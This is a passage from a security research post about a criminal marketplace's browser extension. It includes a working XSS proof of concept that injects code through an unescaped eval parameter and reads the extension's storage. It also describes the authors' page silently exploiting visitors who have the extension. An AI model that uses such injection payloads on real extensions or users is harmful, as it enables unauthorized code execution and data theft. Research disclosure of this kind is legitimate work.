The reason why this is present is not entirely clear to us. However, it does provide us with a nice way of fingerprinting the buyers’ extension.
Taking it one step further…
Fingerprinting buyers is already cool of course, but maybe we can take it one step further? For example by exploiting a XSS vulnerability in the extension itself? There is a vulnerability in the method used to communicate back to the webpage. The parameter l
in the custom event detail
object is used in the response code that is evaluated. This value is used as-is and not escaped before calling eval
. By including a single quote character ('
), it possible to inject additional JavaScript code that gets executed in the context of the content script.
For example, the following event, sent from the webpage:
window.dispatchEvent(new CustomEvent("hammilton", {"detail": {"l": "a'; console.log(1); //", "o": "b"}}));
Results in the following code being evaluated inside the content script (newlines added for legibility):
location.href = 'javascript: if(window.bunny && window.bunny.cb && window.bunny.cb[a';
console.log(1);
//])window.bunny.cb[a'; console.log(1); //]([{"result":{"result":0}}])'
Therefore, the console.log(1)
is executed by the content script, instead of the page.
Browser extensions use an (invisible) background page which can use all the permissions granted to that extension. This background page does not directly have access to the contents of the visited webpages, but it can inject new JavaScript to run on those pages, called “content scripts”. Content scripts have access to a specific page and can interact with that page’s DOM, but use a JavaScript environment that is separate from the page’s own JavaScript environment. Content scripts do not have all the permissions of the background page, but they do have permission to send messages to the background page and can access the storage of the extension, making them more powerful than the page’s own JavaScript.
Therefore, one of the things that can be done with by sending messages to the background page is copying the configuration of the plugin. For example:
window.addEventListener("storage", function (event) {
document.getElementById("log").innerText += "Storage obtained: " + JSON.stringify(event.detail.storage) + "\n";
})
var payload = `chrome.storage.local.get(null, (storage) => { window.dispatchEvent(new CustomEvent("storage", {"detail": {"storage": storage }})); });`;
window.parent.dispatchEvent(new CustomEvent("hammilton", {"detail": {"l": "a';" + payload + "; //", "o": "b"}}));
We have actually included a script in this page which will exploit this precise vulnerability (if you have this extension installed). It first turned off the proxy functionality, and then uploaded your extension configuration to us.
We would like to thank all law enforcement agencies that collaborated on this case, to take this market place down. We’re glad we could be of any assistance. All findings have been shared with authorities and all malicious files have been reported to the relevant organisations. Hopefully this post can help any future researchers, if this market place ever comes back online.
If you have any followup questions, feel free to reach out.
For reference, these are the files that we investigated (the buyers side is purposely excluded from this list):
File name | SHA1 hash |
---|---|
setup.exe |
b3e56f7affa17403d3df4ebf4c95b14928798bd6 |
yvibiajwi.dll |
78c43eb6d80888c8153868ebc60ca522185a1fce |
svchost.exe |
f811f77f5b53c13a06b43b10eb6189513f66d2a2 |
Qruhaepdediwhf.dll |
e87a4c23eac88803f27565c2a035222473167a14 |
v3.bs64 |
36af8aac85d4770146d7b6c6cbb0dc7691c6263a |